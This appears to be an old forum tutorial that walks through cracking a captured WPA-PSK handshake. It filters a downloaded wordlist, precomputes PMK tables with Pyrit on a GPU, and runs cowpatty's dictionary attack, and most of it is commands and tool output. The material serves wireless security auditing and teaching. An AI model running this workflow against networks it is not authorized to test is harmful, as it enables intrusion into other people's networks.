Okay so we got a hand shake now what?
First off we need to grab a dictionary file.
Then we need to strip out the stuff we dont need.Code:root@bt:~# wget http://www.outpost9.com/files/wordlists/dic-0294.zip --2009-02-11 01:17:53-- http://www.outpost9.com/files/wordlists/dic-0294.zip Resolving www.outpost9.com... 12.180.200.208 Connecting to www.outpost9.com|12.180.200.208|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3283473 (3.1M) [application/zip] Saving to: `dic-0294.zip' 100%[=============================================================================================================>] 3,283,473 268K/s in 9.2 root@bt:~# unzip dic-0294.zip Archive: dic-0294.zip inflating: dic-0294.txt
So about six hundred thousand words.Code:root@bt:~# cat dic-0294.txt | sort | uniq | pw-inspector -m 8 -M 63 > wpa.lst root@bt:~# wc -l wpa.lst 597532 wpa.lst
Now we got a file to work with. Now for the fun part.
Add our essidCode:root@bt:~# cd /pentest/password/pyrit/ root@bt:/pentest/password/pyrit#
Import our new wpa listCode:root@bt:/pentest/password/pyrit# python pyrit.py -e ddwrt1 create_essid The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Created ESSID 'ddwrt1'
And start the table generationCode:root@bt:/pentest/password/pyrit# python pyrit.py -f /root/wpa.lst import_passwords The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Importing from '/root/wpa.lst' 597532 lines read. All done.
So if everything went well you are at this point. Pyrit has the ability to output to cowpatty or airolib-ng files. For the sake of this tutorial I will be using cowpatty because I've found its faster.Code:root@bt:/pentest/password/pyrit# python pyrit.py batchprocess The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Using default core 'Nvidia CUDA' (Device 'GeForce 8800 GT') Working on ESSID 'ddwrt1' Reading unit '1ec5841a057928e33972489b461cb914' (54072 passwords buffered) All done, computed 54072 PMKs in 10.47 seconds, 5164.13 PMKs/s) Reading unit '6c9303c848ed6a4473221229d4387934' (54996 passwords buffered) All done, computed 54996 PMKs in 10.79 seconds, 5099.30 PMKs/s) Reading unit '70ded804144475dbc58b982625483821' (56076 passwords buffered) All done, computed 56076 PMKs in 10.74 seconds, 5223.29 PMKs/s)... ...Reading unit 'f384ca460307a079503db313ece6806e' (53808 passwords buffered) All done, computed 53808 PMKs in 10.67 seconds, 5044.67 PMKs/s) Reading unit '1bf464713cab79da5efc8503e8f28812' (17496 passwords buffered) All done, computed 17496 PMKs in 3.23 seconds, 5422.30 PMKs/s) Batchprocessing done.
So lets make our cowpatty file
Okay so lets see how fast this will go.Code:root@bt:/pentest/password/pyrit# python pyrit.py -e ddwrt1 -f cow.out export_cowpatty The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3 Exporting to 'cow.out'... 4656218 entries written. All done.
So this is the cracking proccess.......Code:root@bt:~# cd /pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty/ root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ls AUTHORS COPYING cowpatty.h eap-test.dump fpga.c genpmk.c Makefile md5.o sha1.c TODO utils.o CHANGELOG cowpatty cowpatty.o FAQ fpga.o genpmk.o md5.c radiotap.h sha1.h utils.c wpa2psk-linksys.dump common.h cowpatty.c dict file_magic genpmk INSTALL md5.h README sha1.o utils.h wpapsk-linksys.dump root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com> cowpatty: Must supply a list of passphrases in a file with -f or a hash file with -d. Use "-f -" to accept words on stdin. Usage: cowpatty [options] -f Dictionary file -d Hash file (genpmk) -r Packet capture file -s Network SSID (enclose in quotes if SSID includes spaces) -F card Use FPGA acceleration -h Print this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -d /pentest/password/pyrit/cow.out -s ddwrt2 -r /root/cudacapture-01.cap cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com> Collected all necessary data to mount crack against WPA2/PSK passphrase. Starting dictionary attack. Please be patient. key no. 1000: Mathboldit1 key no. 2000: llegando2 key no. 3000: shougakukan123 key no. 4000: DISGUISING key no. 5000: Graffaloy key no. 6000: Passibleness123 key no. 7000: Unmaking2 key no. 8000: Procanal123
And Just to show you what it would be like with out the hash file..Code:[4656217 passphrases tested in 24.84 seconds: 187468.86 passphrases/second root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty#
Thats a HUGE differenceCode:root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -f /root/wpa.lst -s ddwrt2 -r /root/cudacapture-01.cap 27824 passphrases tested in 84.98 seconds: 327.40 passphrases/second




